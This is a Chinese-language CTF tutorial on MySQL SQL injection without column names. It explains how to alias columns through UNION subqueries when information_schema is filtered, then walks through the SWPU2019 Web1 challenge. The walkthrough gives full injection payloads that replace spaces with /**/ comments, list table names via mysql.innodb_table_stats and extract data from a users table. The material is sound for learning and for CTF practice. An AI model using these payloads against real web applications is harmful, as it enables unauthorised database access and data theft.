MYSQL无列名注入
1. 什么是无列名注入
- 一般的查询语句,需要依赖于information_schema库来获取库名,表名,列名等信息
但是有些ctf题目会将informat_schema这个库过滤,这时候就需要无列名注入
在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
- 首先我们可以利用sqlmap暴力破解表名,那么之后如何利用?
2. 使用条件和方法
适用于已经知道表明,不知道列名的时候,而information_schema
又被过滤的情况下
3. 原理
我们不知道列名,但我们可以给列取别名(绕过对真实的列名的需求)同时进行数据查询,因此,当我们查询的字段多于数据表中的列的时候就会报错
4. 不使用表名的查询
- 自己首先创建好一个数据表
4.1 正常的sql查询
select * from admin
其中列名为id, user,name,password
4.2 使用union
查询
select 1,2,3 union select * from admin;
可以看到,我们的列名是被替换了的!!
接下来,我们就可以尝试查询数字来得到列的内容
select `1` from (select 1,2,3 union select * from admin)a;
注意:
1上要加``;
from后面的语句是一个整体,返回的事整个表中的内容,要()起来;
后面那个a,相当于是括号里语句的别名相当于 as a,可以随便起名;
有时候``会被过滤,那么我们需要使用别名代替
select b from (select 1 as b,2 as c,3 as d union select * from admin)a;
同时查询多个列
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
- 简而言之,先为表中的列命名,再进行查询
payload:
select a,b from posts where a=-1 union select 1,(select concat(`3`,0x2d,`4`) from (select 1,2,3,4,5,6 union select * from xxx)a limit 1,1);
习题:
[SWPU2019]Web1
经过成测试可以知道,这道题,已经被过滤了空格,and,or,information_scheam。。。。
可以用union查询和无列名注入
1. 查询注入类型
1'
是单引号字符型注入
2. 查询当前表的列数以及回显位置
2.1 查看列数
1'/**/group/**/by/**/22,'1 //22是试出来的
没有报错说明是22列
2.2 查看回显位置
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
说明回显位置是2,3
接下来怎么查表?
有两种方法:
- 利用
mysql.innodb_table_stats
等表可以代替information_schema
,查看链接可替代 - sqlmap爆破
mysql库:
mysql.innodb_table_stats表中的内容
sys库中的内容:
sys.schema_table_statistics的内容
sys.x$statement_analysis
由于第一种方式的其他库也有可能被过滤,所以尝试用sqlmap
……
sqlmap
检测不出来,还是使用mysql.innodb_table_stats
吧
-1'union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
直接看users
采用无列名注入
-1'union/**/select/**/1,2,(select/**/`3`/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/web1.users)a/**/limit/**/1,1),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22